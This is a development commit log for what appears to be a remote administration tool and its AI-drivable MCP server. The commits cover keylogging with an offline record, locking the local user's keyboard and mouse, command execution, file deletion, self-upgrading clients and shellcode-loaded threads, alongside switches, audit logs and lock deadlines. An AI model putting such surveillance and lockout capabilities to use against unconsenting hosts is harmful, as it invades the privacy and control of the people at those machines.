157 Commits
Author SHA1 Message Date
yuanyuanxianganddeepseek-flash 1c832ff7f2 Feature: Add MCP cancellation, progress notifications and dry runs
P11 closes the plan's last batch, entirely on the server side: no client
change is required for any of it.

Long-running tools now expose a cancellation flag that every wait loop
checks in 500 ms slices. A cancelled tool returns through the cleanup
branch it already had (late first packets still get absorbed, sub
connections still get closed, pending entries still get deleted), so
there is no second cleanup path to keep in sync, and the host is released
within a second. Three sources set the flag: notifications/cancelled
(matched on the exact JSON-RPC id, with a fallback to the display form so
a request_id copied out of the session list round-trips), mcp_cancel_session
(by request_id, host id or session id), and a failed SSE write when the
client has gone away. The dispatcher rewrites a cancel-induced failure to
-32800 so callers do not mistake it for a host fault.

tools/call requests carrying _meta.progressToken are answered as
text/event-stream on the same POST: the tool runs on its own thread and
both the notifications/progress events and the final JSON-RPC response go
out through one chunked provider. Requests without a token are unchanged.
download_file reports files done vs. expected, upload_file reports bytes
sent vs. total.

Two new local-only tools, mcp_list_sessions and mcp_cancel_session, list
and cancel in-flight sessions (calls, pending one-shots, terminal, remote
control, file transfer, chat). They are deliberately not gated by the
feature switches or readonly mode, since that is the only way out of a
stuck request. The -32003 busy message now names the occupier:
"Device busy: ... (tool=download_file, elapsed=12s)".

power_action gains wait/wait_ms to verify the result against the main
connection's presence (went_offline, came_back, elapsed_ms); not seeing
the transition is reported as ok, not as a failure. kill_process,
operate_window and the four host_control_* tools accept dry_run, which
validates the target against one fresh snapshot and returns what would be
affected without sending anything. Validation rejections now use -32012;
-32008 stays as documented historical alias.

One implementation note worth recording: the per-thread call context uses
FLS, not thread_local. Any static thread_local in this server crashes the
process about a second after start, because some threads come from
shellcode/MemoryModule images that never ran PE TLS initialisation.

Verified against a real Debug server and a real Windows client over MCP:
the smoke test now passes 104 checks with 0 failures, including
cancellation releasing the host in under a second, the cancelled request
returning -32800, notifications/cancelled returning 202, 63 progress
events with exact byte counts for a 64 MB upload, and a cleanly
terminated SSE stream. Not exercised in this pass: power_action's
wait=true path (it would take the test host down) and the -32006
readonly/switch-off section (every switch was on during the run).

Co-Authored-By: deepseek-flash
2026-10-28 21:25:49 +01:00
yuanyuanxianganddeepseek-flash 3d388f8e45 Feature: Add remote_block_input to MCP remote control
A GUI automation run is interrupted the moment a person at the host touches
the mouse, and locking the host's keyboard and mouse is the standard answer.
The client already implements COMMAND_SCREEN_BLOCK_INPUT and the MFC screen
window already sends it, so the tool needs no client change: it puts the same
two-byte packet [COMMAND_SCREEN_BLOCK_INPUT][0|1] on the hidden screen
sub-connection that remote_open established. The gate is remote_open's own -
McpRemoteControl=1 and McpReadonly=0 - because the ability to lock someone out
deserves exactly the same door as the ability to drive their desktop, and
Linux and Android clients are refused with -32005: they have no branch for
this packet at all and would silently ignore it.

Locking a host out is only acceptable if every way back in is closed, so the
session now carries its own lock state and three paths release it. block=false
releases it directly. block=true always carries a deadline (max_block_ms,
default 300000, clamped to 1000..3600000) and a watchdog thread started with
the MCP server sweeps every 500ms for expired locks, sends the release and
records it; the next remote_block_input reports it as auto_unblocked so the
model learns that its lock lapsed instead of assuming it is still held.
remote_close and the idle reclaim both send block=false before they tear the
sub-connection down, because once that connection is gone the server has no
channel left and a live client process stays blocked - all three release
paths write an audit line, since none of them is something a person can see.

The send happens outside the MCP lock, and the watchdog takes the session's
busy flag while it releases, so it cannot interleave with an injection or race
a close; a failed send keeps the lock marked and retries five seconds later
rather than hammering a dead connection every tick, and a session that dies
under the watchdog is erased the same way an injection would erase it.

Verified against a real Windows client over MCP on a Debug x64 build: block
then unblock, block with a 1.5-2s deadline left to expire and reported back as
auto_unblocked with the watchdog audit entry at the expected second, block
with a ten-minute deadline then remote_close with "(input lock forced off)"
in the audit, and the five refusals (missing block, non-boolean block,
max_block_ms out of range, unknown session, offline host). The smoke test
gained [4d] for those refusals; 54 checks pass. Two limits are worth stating
plainly. BlockInput only works when the calling process is elevated (or
UIAccess), the client ignores the API's return value, so on an ordinary
client the lock silently does nothing and the tool can only promise that the
command was delivered - both the tool description and the server instructions
say so. And the idle-reclaim release, like the two verified paths, is only
exercised at a 300s idle timeout; it shares the same send helper and was
reviewed rather than timed out live. Bin/settings.ini was restored
byte-exact and the Release instance was left alone.

Co-Authored-By: deepseek-flash
2026-10-28 21:25:47 +01:00
yuanyuanxianganddeepseek-flash 27b5431130 Feature: Add the file-write tools behind their own switch
P10-B adds delete_path, move_path and create_folder, and the switch they
need. Reusing McpFileTransfer would have been wrong: uploading overwrites a
file, deleting destroys a tree, and an operator who wants one may well not
want the other. McpFileWrite is therefore a separate key, off by default,
wired the way every other switch is - read from settings.ini at startup,
reported as get_server_status.switches.file_write, and exposed with its own
checkbox in the MCP settings dialog. The tools additionally require readonly
to be off: a read-only server has no business modifying a host.

No client change was needed: COMMAND_DELETE_FILE, COMMAND_DELETE_DIRECTORY,
COMMAND_CREATE_FOLDER and COMMAND_RENAME_FILE already existed in the Windows
file manager. The chain reuses the file-manager sub-connection and adds a
phase - the main connection asks for the drive list, the sub-connection's
first packet hands it to OnDriveList which sends the write command, and the
client's TOKEN_*_FINISH ack moves the pending request from phase 0 to 1,
where the tool sends COMMAND_LIST_FILES for the parent so the ack and the
confirmation share one timeout. Only the IO thread touches the
sub-connection; the tool thread just waits on the shared condvar, which keeps
the sub-connection's lifetime out of its reach.

The confirmation exists because the client answers unconditionally: it
ignores the return values of DeleteFile, MoveFile and
MakeSureDirectoryPathExists and there is no error token. ok therefore only
means "the command arrived", and verified is the real answer - true when the
parent listing shows the expected post-state, false when it shows the
opposite, null when the listing itself did not come back (timeout or
disconnect), since reporting that as false would be a lie. Linux, macOS and
Android hosts are refused outright: those clients decode these paths as GBK
while the server speaks UTF-8 to them for list_files, so a non-ASCII path
would corrupt rather than fail. Paths are validated as UTF-8, converted to
GBK exactly once, and reject %VAR%, relative paths, drive and share roots,
and - for delete_path and for move_path's source - the Windows, Program
Files, ProgramData, $Recycle.Bin and System Volume Information trees.
create_folder gets no system-directory ban, because writing there is the same
permission upload_file already has.

Two defects surfaced while exercising this against a real client:
create_folder's wire path has to end with a backslash, because
MakeSureDirectoryPathExists treats a non-terminated last component as a file
name and only creates the intermediate levels; and
ResolveFileOpVerified(LookupInListing(...), isDir, ...) read isDir before the
lookup ever set it - argument evaluation order is unspecified and MSVC
evaluates right to left - so every create_folder reported verified=false even
when the directory existed.

Verified on a Debug x64 build against a Windows client over MCP: nested
create_folder, upload, rename, delete, delete a tree, the failure shapes
(delete with recursive=false on a directory, create_folder onto an existing
file name, delete of a non-existent target) and every refusal (drive root,
C:\Windows\Temp, C:\Users, %TEMP%, relative, empty, over-long, from==to,
offline host, non-numeric id), with a Chinese-named directory created,
renamed and deleted end to end; no file-manager window appeared in the server
process during any of it. The smoke test gained section [4c], opt-in through
-FileWriteDir, which asserts verified and never ok and walks a sandbox
through the same path; two runs passed 69 checks with the sandbox removed
afterwards. Bin/settings.ini was restored byte-exact and the Release
instance was left alone.

Co-Authored-By: deepseek-flash
2026-10-28 21:25:46 +01:00
yuanyuanxianganddeepseek-flash bb55f52b29 Feature: Add instructions, capability reporting and filters to MCP
P10-A is the first batch of the next MCP phase: the server now tells a model
how it expects to be driven instead of leaving the rules to be inferred from
per-tool descriptions.

initialize carries the instructions field that MCP 2025-06-18 defines, in
five sections: where host ids come from, which switch hides which tool, what
each error code implies for the next action, typical orchestrations, and
safety. Every statement was checked against the implementation rather than
derived from the tool descriptions, and four did not survive: the host_*
family only supports name/pid filters in part (named per tool now), read-only
mode does not hide host_set_remark and host_set_watch_level (they touch only
the local host store and are refused with -32006 when called), -32003 is one
lock keyed by device id rather than one per capability, and there is no
"screen stream" tool to pick instead of get_screenshot. The string is built
from u8 literals because the project compiles with /execution-charset:.936.

get_host_detail returns a capabilities object (platform, screenPreview,
remoteControl, fileTransferV2, c2cPaths, registry), each flag tied to a gate
that already exists in the dispatcher, so a model no longer discovers a
host's limits by calling and reading -32005. remoteControl mirrors the two
conditions remote_* actually applies (Windows or Linux, and not
multi-monitor), not the preview bit. Making the flags honest exposed
list_registry rejecting only LNX and MAC, so an APK host passed and then
waited out the timeout; it now uses the same is-Windows predicate the bit is
computed from. That predicate existed as identical local copies in
McpMachine.cpp and McpChat.cpp and now lives in McpInternal.

list_processes and list_windows take an optional name and pid, filtered on
the server before the page window is applied, with total counting matches
and totalAll still reporting the unfiltered count. The two tools get their
own schema builder so list_services does not advertise a filter it would
silently ignore, and the pid descriptions differ because a pid means the
process itself for one tool and its owner for the other.

get_keylog gains set_offline and clear, the two commands the client already
implements on the keyboard sub-connection but nothing on the MCP side ever
sent, plus offlineRecord from the ready packet's byte 1. Both writes are
gated on McpReadonly=0 and validated before COMMAND_KEYBOARD goes out, so a
refused call cannot leave a running keyboard session behind; the tool's
annotations change from read-only to writable and destructive, and the
server instructions gain the matching sentence.

Four capabilities are exposed twice through two different sub-connection
chains, so each pair's descriptions now say which one to reach for first and
when the other is the only option: the host_* trio carries more fields and
filters on the server, the list_* trio is the McpMachine=0 fallback, and
operate_window is the only one that can close a window. No tool was merged:
the split is what lets McpMachine be switched off on its own. search_file's
description drops the stale MAX_PATH-overflow warning (fixed in 8f718d9) for
the behaviour that remains - the client silently skips any entry whose full
path does not fit, so a drive-root scan misses deep results and reaches the
10000-entry cap sooner.

Verified per commit by building the Debug x64 server, starting it on a spare
port so the running Release instance could not answer instead, and reading
the fields back out of real responses as UTF-8; tools/list shows 54 tools
with the edited descriptions present. Bin/settings.ini was restored
byte-exact and the Release instance was left alone. The smoke test gained
assertions for all four additions: instructions has to parse out of
initialize, capabilities is compared against the reported platform (registry
true exactly for the Windows client types, remoteControl false on macOS and
Android), the filters query a real entry back by name and by pid while
totalAll stays put, and offlineRecord accepts both a boolean and its absence
for old clients. That script ran 28 checks clean against this build, with
the host-scoped assertions exercised against synthetic responses on a
separate harness (12 of 12, including the negative cases).

Co-Authored-By: deepseek-flash
2026-10-28 21:25:44 +01:00
yuanyuanxianganddeepseek-flash 4a3cded174 Docs: Plan the next MCP phase, with its claims checked against the code
Mcp_Next_Plan.md lays out what the MCP surface can still gain and how the
existing tools can be improved: a full client-command coverage matrix, a
file-system write batch, a remote-control gap, and a list of protocol-level
blanks. Every conclusion is tied to a file and line so the next step can be
implemented without re-deriving the analysis.

The first draft was written from a read of the code but not verified against
it. Auditing it turned up four claims that would have sent the work in the
wrong direction, and they are corrected here rather than left to be discovered
during implementation:

- The draft wanted a mode=offline for get_keylog because "the tool only sees a
  1-15s live window". That premise is false. CKeyboardManager1 builds its
  CircularBuffer from the on-disk record file, and SendData replays the whole
  buffer from position zero on every (re)connect, so the existing tool already
  returns the persisted history whenever kbrecord=Yes. What is actually missing
  is only the on/off switch, the clear command, and reporting the state the
  client already sends in TOKEN_KEYBOARD_START byte 1.

- Unlike P7, the file-write tools do not plug into OnSystemReady: their ready
  packet is TOKEN_DRIVE_LIST, which lands in OnDriveList, where an empty path
  is currently read as "list drives" and consumed. Worse, the three finish
  tokens have no case at all in the top-level dispatch, so on the MCP path
  (hDlg == NULL) they fall into default: and the sub-connection is never
  closed. Appendix C now spells out the three wiring layers that every
  sub-connection write tool has to touch.

- -32008 carries two meanings, not four: both remaining sites are argument
  validation, and the multi-monitor rejection was already moved to -32005.
  Dropping the proposed -32013 removes a whole error-code split.

- The draft put server gate state into get_host_detail, duplicating the
  switches object that get_server_status already returns; monitors and most
  per-host facts are already there too, so capabilities shrinks to the
  client's own ability bits.

It also records what the audit added: delete_path inherits the client's
unbounded wsprintf when recursing (the search path got a length guard in
8f718d9, DeleteDirectory and FixedUploadList did not), a single read-only file
fails silently while a directory delete clears the attribute first, and
create_folder means "ensure this path exists" rather than "create the last
component".

Co-Authored-By: deepseek-flash
2026-10-28 18:50:53 +01:00
yuanyuanxianganddeepseek-flash 106ac2ff0f Fix: Resolve the Desktop, Downloads and home shortcuts on Unix clients
The file manager's remote shortcut buttons send "%USERPROFILE%\Desktop\" and
friends, which the Windows client expands with ExpandEnvironmentStringsA. Unix
clients had no such expansion, so the literal %USERPROFILE% was taken as a
directory name: opendir() failed and the Desktop, Downloads and home buttons
listed nothing at all.

Add common/UnixPath.h, which expands the variables the server can send
(%USERPROFILE%, %HOME%, %HOMEDRIVE%%HOMEPATH%, %USERNAME%) and maps
$HOME/Desktop to the localized folder named in ~/.config/user-dirs.dirs (for
example ~/桌面), falling back to the plain $HOME/<Name> path when that folder
does not exist. Unknown %VAR% tokens are left untouched, so paths that really
contain a percent sign behave as before.

FileManager and the two Windows-to-Unix converters in FileTransferV2 now share
that one conversion. Besides the listing itself, this fixes downloads into a
shortcut directory, which used to be created under a literal %USERPROFILE%
tree instead of the user's real desktop.

Co-Authored-By: deepseek-flash
2026-10-28 14:44:54 +01:00
6bfa4294cc Feature: Switch a Linux client's transport TLS at runtime
The server's TLS menu already wrote the trust anchor into the Windows
client's registry and expected a restart. The Linux client grew the same
command handling (166/167) but, like Windows, only read the anchor once at
startup, so enabling or disabling TLS still meant restarting it. Both
handlers now take effect immediately.

TlsChannelLinux.cpp no longer initialises through std::call_once. The
process-level state (context, enabled, load error) lives behind a mutex and
TlsReload() rebuilds it from whatever anchor file is on disk, so
TlsEnabled() reflects the new transport as soon as the anchor is written or
removed. In-flight sessions survive the swap because SSL_new increments the
SSL_CTX reference count; the unit test pins that down by keeping an
established TLS connection open across a reload that frees the old context.
A reload that hits a bad anchor keeps the previous state and only logs: one
bad push should not brick a working client, and the next start is still
fail-closed. The pushed PEM is parsed before it is written for the same
reason -- a corrupt anchor on disk would lock the client out of the server
with no way to correct it remotely.

Only a real transport flip (plaintext <-> TLS) asks for a reconnect. An
anchor swap alone, as in a certificate rotation, leaves the current session
alone and applies to the next connection. The receive thread never closes
the socket itself; it sets g_needReconnect and the main heartbeat loop
disconnects so the outer reconnect loop can re-handshake, matching how the
heartbeat timeout path already works.

IOCPClient now latches the transport per connection (m_useTls) at handshake
time instead of consulting TlsEnabled() on every send and receive. Without
the latch, the second or so between the reload and the reconnect would push
plaintext into an established TLS session, or the reverse, producing
protocol errors for no reason.

RES_TLS (szReserved[19]) is refreshed right before each login, including
the resend after a group change, so the TLS column on the server flips with
the transport instead of showing the value from process start.

The confirmation dialogs now say what each platform does, with translations
in en_US, zh_TW and de_DE; the keys carry the literal \n escape the INI
parser understands.

Ending a sub-connection is not an error. OpenSSL 3 classifies a peer that
closes without close_notify as an unexpected-EOF protocol error, so every
terminal or file transfer session logged an SSL_read failure on the real
servers even though Recv promises 0 for a plain close and neither side sends
close_notify. SSL_OP_IGNORE_UNEXPECTED_EOF restores the intended semantics.

Verified with the reload unit test (RELOAD-OK, covering the in-flight
connection across a context swap, garbage payload rejection and a broken
anchor keeping TLS alive), an abrupt-close test (recv now returns 0 instead
of SOCKET_ERROR) and end to end against a protocol-faithful fake server that
signs MasterSettings with libsign: plaintext login, 166, TLS reconnect with
RES_TLS=1, 167, plaintext reconnect with RES_TLS=0. The Linux client, the
Debug Windows client and the Debug MFC server all build.

The cost is inherent to taking effect immediately: a remote session in
progress is dropped when the transport changes, and the MFC server briefly
shows the client as a duplicate login until the old connection is reaped
and the standby entry is promoted.

Co-Authored-By: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-10-28 14:15:40 +01:00
yuanyuanxianganddeepseek-flash c11df75225 Fix: Report the real runtime instead of a timezone skew in host info
The host info popup showed a constant "7h" runtime for every Linux host.
szStartTime carries no timezone marker and the two sides disagree: the
Windows client sends its own wall clock (client/LoginServer.cpp
getProcessTime), while the Linux and Android clients send Beijing time
unconditionally (linux/main.cpp and common/commands.h ToPekingTimeAsString
hardcode UTC+8). GetElapsedTime then built the base time with CTime as
local time and subtracted it from the local clock, so on any server that
is not at UTC+8 the start time landed in the future; the absolute value
turned that skew into a plausible-looking duration (UTC+1 gives exactly
7h).

GetElapsedTime now picks the reference "now" by client type: LNX and APK
are compared against the current Beijing time, everything else keeps
using the local clock. A start time in the future now clamps to 0 instead
of being mirrored, so a clock disagreement shows as unknown rather than
as a fake runtime.

The Linux client also reported the wrong thing entirely: it sent the
current time at login, not the process start time, so the value was
always about zero whenever the timezones happened to agree. It now
records its own wall clock once at load and reports Beijing time built
from it, matching the semantics of the Windows client. An upgrade forks
a new process, so the counter restarts after an upgrade as expected.

The first implementation read /proc/self/stat starttime plus /proc/stat
btime, which looked like the exact equivalent of the Windows call, but
btime is computed from the wall clock at boot and never corrected when
NTP later steps the clock, so on WSL2 it drifted by 1.8h. Recording the
value in the process itself has no such failure mode.

Verified against a Debug server with a WSL Ubuntu 24.04 client and a
Windows client: the popup now reports "2.3m" for a Linux process started
2.3 minutes earlier (previously 7h), the startup timestamp is the process
load time in Beijing time, and the Windows host still reports 14s right
after it connects.

Co-Authored-By: deepseek-flash
2026-10-27 21:39:31 +01:00
yuanyuanxianganddeepseek-flash 4d2abf34d0 Feature: Support the Tier 1 MCP tools on Linux clients
All of these tools already had a working wire protocol on the Linux
client (SystemManager.h, common/PTYHandler.h, ScreenHandler.h); only the
server-side client-type gates rejected LNX hosts. kill_process,
exec_command, terminal_open/exec/close and remote_open/close/mouse/
keyboard/clipboard now accept LNX and reject only MAC (plus APK where it
applied). No client change, no capability bit.

exec_command and terminal_exec needed platform-aware plumbing because a
POSIX shell understands none of the Windows constructs: the sentinel is
now "PS1=" / the command / "echo __MCP_DONE_<nonce>__$?" over the Linux
PTY, with output decoded as UTF-8. The PS1= line exists because
interactive bash prints its prompt after every line it reads, which
otherwise leaks into stdout; its echo sits ahead of the command echo and
is removed together with it. The Windows ConPTY and legacy non-PTY forms
are unchanged.

The default command whitelist is now platform-specific: identically named
POSIX commands can write files or change system state (find -exec,
sort -o, hostname), so kDefaultCmdWhitelistPosix only lists commands that
stay read-only even with arguments. env is deliberately excluded, since
"env <program>" runs arbitrary programs and would defeat the whitelist
entirely. An explicit McpCmdWhitelist still overrides both platforms. The
forbidden metacharacter set is split the same way: on Linux it covers
& | < > ; backtick and $( / ${ / !, where ! triggers history expansion in
interactive bash. ^ is not a POSIX metacharacter, so read-only commands
like "grep -v ^# /etc/hosts" are accepted on Linux while Windows keeps
rejecting them.

Input injection had to be sent one MSG64 per COMMAND_SCREEN_CONTROL
packet. The protocol allows batching and the Windows client handles it,
but linux/ScreenHandler.h only processes the first message of a packet,
so a batch left key_press stuck down (X11 autorepeat), click
half-pressed and type emitting only its first character. Splitting the
packets is equivalent for Windows, which processes one message at a time
anyway, and keeps already-deployed Linux clients working without an
upgrade.

Verified on a Debug server against a WSL Ubuntu 24.04 client and a
Windows client: exec_command returned real exit codes (0/1/2) with clean
output, -32007/-32008 negatives, and the POSIX-only ^ allowance;
persistent terminals kept cwd and environment, returned 1 for false and
the last exit code for ";" chains, and closed idempotently; kill_process
killed a test process, returned an empty remaining list and skipped
pid 1; remote_open reported 3840x1140, remote_mouse mapped (0.5,0.5) to
(1920,570), xev showed balanced press/release pairs for keys and buttons,
and a Chinese clipboard round-trip came back as UTF-8. The Windows
regression of the same tools was unchanged, including the multi-monitor
gate on remote_open.

Co-Authored-By: deepseek-flash
2026-10-27 21:15:44 +01:00
yuanyuanxianganddeepseek-flash 3a158a241c Feature: Support upload_file and download_file on Linux and macOS hosts
Both tools used to reject LNX/MAC targets outright. The server now gates
on the target client type instead: a POSIX target must pass an absolute
POSIX remote path without a backslash or a ".." segment (-32602
otherwise), while Windows targets keep their exact previous behaviour.

upload_file needed no new client command; the POSIX receiver already
handles COMMAND_SEND_FILE_V2 and derives the destination from the packet
name. It now also reports a real receiver_ack: the upload session
records dstClientID/transferID, and OnC2CRecvResult matches the 176
acknowledgement from Linux targets, so a destination write failure
becomes -32011 and a missing ack (with bytes in flight) becomes -32001.

download_file needed two pieces on the POSIX side, both shared by Linux
and macOS through common/FileTransferV2.h: a FileCompletePacketV2 per
file with a streaming SHA-256 (new self-contained common/sha256_posix.h,
since BCrypt is Windows-only) so the server can count completed files
and verify digests, and a TOKEN_DOWNLOAD_ERROR reply when the requested
paths do not exist or are denied, which the server maps to
-32009/-32010 within milliseconds instead of waiting for the stall
watchdog.

Zero-byte files were lost when uploading to POSIX targets because the
worker sends no data chunk for them and the complete packet carries no
path, so the receiver had nothing to create. The server now injects a
zero-length final chunk for each empty file, only for POSIX targets;
Windows targets keep their existing behaviour.

Also fixes a download completion edge case found while testing: the
client decides entry order, so a directory may arrive after all files
(an empty subdirectory, for example), and the directory branch only
completed when the directory count alone covered totalFiles. The check
is now filesDone + directoryCount >= totalFiles.

Verified end to end against a WSL Linux client and a Windows client:
upload and download of a tree with a 3 MB binary, a Chinese filename, an
empty file and an empty subdirectory all round-trip with matching
SHA-256; the documented error paths (-32602, -32009, -32011, -32001) and
the Windows upload/download/C2C regressions were exercised as well.

Co-Authored-By: deepseek-flash
2026-10-27 20:39:22 +01:00
yuanyuanxianganddeepseek-flash 4146c73657 Feature: Make Linux a copy_files_c2c destination
The C2C file transfer tool required both ends to be Windows clients. A Linux
client can already land the files: the Windows source worker builds every
entry name by plain string concatenation of dst_dir and the relative path, so
a POSIX dst_dir such as /tmp/recv arrives as "/tmp/recv\sub\file", which the
POSIX receiver normalizes to "/" and writes below an absolute path. What was
missing was the server gate and any way to tell whether the writes succeeded.

The server now accepts LNX/MAC destinations instead of rejecting them, and
validates dst_dir by destination type: an absolute Windows path for Windows
targets, an absolute POSIX path without backslashes for POSIX targets. The
paths and dst_dir arguments also reject embedded NULs, and a POSIX dst_dir is
converted to CP936 exactly so unencodable characters fail loudly instead of
silently becoming '?'.

To make receiver_ack meaningful, a Linux client that receives a C2C transfer
now reports what it wrote. It tracks the outcome per transferID, counting a
directory entry, the last chunk of a file and the completion packet of an
empty file as the three ways an item is settled, with done sets so that
source retries and the trailing completion packet never double count. When
every item is settled it sends one C2CSendResultPacket back on its main
connection under the new TOKEN_C2C_RECV_RESULT (176), with the first errno in
the win32err field and the mapped FEV2_* status. A dedicated token is used
instead of reusing 175 because a host can be the destination of one transfer
while being the source of another, and a destination result must never latch
the source side's done flag.

The server waits up to five seconds for that acknowledgement after the source
reports success, and only for destinations advertising the new
CLIENT_CAP_C2C_RECV_ACK capability bit (Linux only, macOS reports nothing).
A failed acknowledgement becomes -32011 with the status, errno and received
file count; a missing acknowledgement stays an error only for transfers that
actually moved bytes, since a transfer of empty files alone gives the
receiver nothing to learn totalFiles from. Windows destinations are unchanged
and skip the wait entirely.

Verified on the debug instance: Windows to Linux (WSL Ubuntu 24.04) with
subdirectories, an empty directory, a Chinese file name and a 3 MB binary
lands with matching SHA-256 and receiver_ack true; a Windows-style dst_dir
returns -32602; an unwritable POSIX destination returns -32011; the existing
Windows to Windows cases still pass with receiver_ack false and the same
latency.

Co-Authored-By: deepseek-flash
2026-10-27 19:22:12 +01:00
yuanyuanxianganddeepseek-flash 4c0e86dcc5 Feature: Upgrade a Linux client from the server
The Linux client is a standalone ELF with no in-memory loader and no
COMMAND_UPDATE handler, so the server's upgrade menu silently did nothing
for an LNX host. It can now push a new binary and have the client replace
and restart itself.

The server grows an LNX branch next to EXE/DLL/SC. It takes the ELF from an
explicit settings.ini LinuxClientPath, then ghost_linux_amd64 in the
program directory, then res\ghost_linux, then IDR_LINUX_GHOST, the copy
the server has always embedded for the client-build dialog, so a server
with nothing on disk can still upgrade; a configured path that cannot be
read is an error rather than a silent fallback. Only x86_64 ELF64 is
accepted. The payload adds a 32-byte MD5 trailer to the existing
[cmd][size:8][payload] layout, which the Windows branches keep unchanged.

linux/ghost in the tree is still the build from before this change and is
not updated here. It has to be refreshed before release: the embedded
default is copied from it at build time, and a stale copy would install a
client with no COMMAND_UPDATE handler, which can never be upgraded
remotely again.

The client verifies the declared size, elf magic, e_machine against its own
ELF header and the MD5 before touching anything, so a miscopied or corrupted
file never lands on disk. It then writes a same-directory temp file with
fsync and 0755 (a running executable cannot be truncated in place), renames
it over its own path atomically, keeps the replaced inode as .old, removes
the PID file, forks a detached child that waits for the old process to exit
and execs the new binary with the original argv, and finally exits with
S_CLIENT_UPDATE. Doing the rename and the exec in that order avoids ETXTBSY,
double connections under one client id, and a new instance that
isAlreadyRunning() would refuse to start.

Any failure (unwritable install directory, bad payload, fork) leaves the
client running on the old version; the reason goes to the client log and to
the server's message log through TOKEN_CLIENT_MSG, which required moving
that struct out of the Windows-only block in common/commands.h.

The shared client source had also stopped compiling off Windows: the
unknown-header diagnostic in IOCPClient::OnServerReceiving printed
TlsEnabled() and m_tls.IsReady() unconditionally, but TlsChannel and m_tls
only exist on Windows. That diagnostic now keeps the TLS details where the
channel exists and prints just the buffer dump everywhere else.

Verified end to end in WSL against the Debug server, foreground and -d
daemon: the PID changes, the installed file matches the pushed MD5, the host
reconnects, and ghost.old holds the previous binary. A read-only install
directory reports "cannot create ...: Permission denied" in the server log
with the client still online. With an invalid file at ghost_linux_amd64 the
server refuses it and names that path, which shows the disk source wins;
with nothing on disk the update goes through from the embedded ELF.

Co-Authored-By: deepseek-flash
2026-10-27 18:25:34 +01:00
yuanyuanxianganddeepseek-flash bfb17d0d25 Feature: Draw the remote cursor in the web desktop out of control mode
Screen frames are captured without the pointer composed in (GDI SRCCOPY,
DXGI), so browsers only ever knew the cursor's shape index and could show a
cursor just in control mode, where the local pointer stands in for the remote
one. Both servers now relay the cursor position that every per-frame header
already carries: shape changes go out immediately, position changes at most
every 50 ms, and an unchanged cursor is re-sent once a second so a viewer that
joins while the pointer is idle still learns where it is.

The page hides the local pointer and draws the remote cursor at its true
position while out of control mode; entering control mode restores exactly the
old behaviour (remote-shaped CSS cursor on desktop, touchpad pointer on touch).
A server that never sends x/y leaves the page on its previous fallback.

The C++ server broadcasts from the per-frame path, so header-only frames keep a
static desktop's cursor fresh; the Go hub dedups and throttles before fanning
out. Tests cover the throttle/refresh rules and the relayed payload.

Co-Authored-By: deepseek-flash
2026-10-26 17:44:13 +01:00
yuanyuanxianganddeepseek-flash 6236ed1eb4 Fix: Make the Go web console wheel scroll correctly
The Go web server's mouse handler read deltaY as an int, so json.Unmarshal
rejected the entire mouse message whenever the browser reported a
fractional delta (Chrome's smooth scrolling splits one 100px notch into
33.33 + 33.33 + 33.34), and the wheel was dead while clicks and moves
kept working. Treating every event as one notch was wrong the other way:
it scrolled three to four times too far, and sub-pixel deltas from a
touchpad truncated to zero.

The server now accumulates the delta in notch units per client and
injects WM_MOUSEWHEEL only once a whole notch is reached. The remainder
is rounded, not truncated, so a float sum of 99.99px still lands on
exactly one notch and the first notch fires halfway through a physical
one, like native scrolling. The page forwards e.deltaMode so line and
page based deltas convert correctly, and touchpad flings are capped at
20 notches per event.

Verified against a live Go server with a connected client: 100px sends
one packet, three 33.33px events send one, 53.33px sends one, sub-pixel
events accumulate to none, and the wParam is -120 down / +120 up with
SendToScreen returning no error. The MFC web console is untouched.

Co-Authored-By: deepseek-flash
2026-10-26 17:10:09 +01:00
yuanyuanxianganddeepseek-flash c271911fcb Feature: Add copy_files_c2c to transfer files between clients directly
Adds the 54th MCP tool, copy_files_c2c, which asks the source client to
push a set of files straight to another online client. Previously the only
way to move files between two clients was to download them to the server
machine and upload them again, so the data crossed the wire twice and
needed free disk on the server. With C2C the server only relays packets
and never parses or stores the payload.

Protocol. Two new ids in common/commands.h: COMMAND_C2C_SEND_FILES (174),
carrying the destination directory followed by a NUL-separated path list,
and TOKEN_C2C_SEND_RESULT (175), a fixed 45-byte result packet sent back
over the same sub-connection the transfer used. Clients advertise support
with the LOGIN_INFOR capability bit CLIENT_CAP_C2C_PATHS (0x0008), exposed
server side as Context::SupportsC2CPaths(). File transfer V2 already knew
how to push to dstClientID, so the destination side needed no change at
all; existing V2 receive paths keep working, and older clients simply do
not advertise the bit and are rejected with a clear error instead of
hanging.

Client. OnC2CSendFiles expands environment variables, collects directories
recursively, opens its own sub-connection (with sub-connection auth), and
runs FileBatchTransferWorkerV2 in a detached thread, then reports the
result on that same connection. Every early exit now reports a structured
failure rather than staying silent. The worker needs the process-level
InitFileUpload call that the receive path performs lazily, and a source
client may never have opened a file manager or received an upload, so the
initialization is factored into EnsureV2TransferInited() and called from
both paths.

Server. copy_files_c2c mirrors the existing upload tool: gates, id parsing,
capability checks, path validation, then a session keyed on the source host
that WaitC2CDone polls until the result packet arrives. The C2C relay
branch used to attach a CDlgFileSend progress dialog to the source's
sub-connection; NotifyProc then routed every later packet on that
connection to the dialog, which parsed the result packet as a V1 file
chunk and dropped it, so the tool always timed out even though the files
had arrived. IsC2CTransferPending() now suppresses dialog creation for
MCP-driven transfers only, leaving manual Ctrl+V transfers untouched.
Errors map to -32001 for a source-side transfer failure, -32010 for access
denied, -32009 for a missing path and -32002 for an offline destination.
Both hosts must be Windows: the destination is restricted too, because the
source embeds dst_dir in each V2 chunk name as an absolute Windows path and
only the Windows receiver applies it literally. A Linux or macOS receiver
never gets a target directory here (the clipboard flow sets one with
COMMAND_C2C_PREPARE, which this path does not send), so it would strip the
drive letter and write under / instead. Supporting that needs a prepare
packet carrying an explicit path plus an upgrade of those clients, so for
now the tool rejects them with -32005 rather than writing somewhere wrong.

Verified end to end on the Debug build: three files including a non-ASCII
name, an empty directory and a 3 MB binary arrived with matching SHA-256
in 3.2 s, a non-existent destination directory was created, and the
negative cases returned the documented codes. mcp_smoke.ps1 passes 41/41
with two new assertions and 27/27 in -SkipHost mode. Design notes, error
table and limitations are in docs/Mcp_FileTransfer_Design.md section 14
and docs/Mcp_Design.md section 15.

Co-Authored-By: deepseek-flash
2026-10-26 15:38:07 +01:00
yuanyuanxianganddeepseek-flash 27d40f5678 Fix: Expose tool payloads in the content text block
List and query tools put only a human summary in content and kept the real
payload in structuredContent. Clients that hand just content to the model
(WorkBuddy does) therefore never saw a host id: search_hosts answered "1 host
matched" and every follow-up tool was out of reach, and guessed ids 1-3100
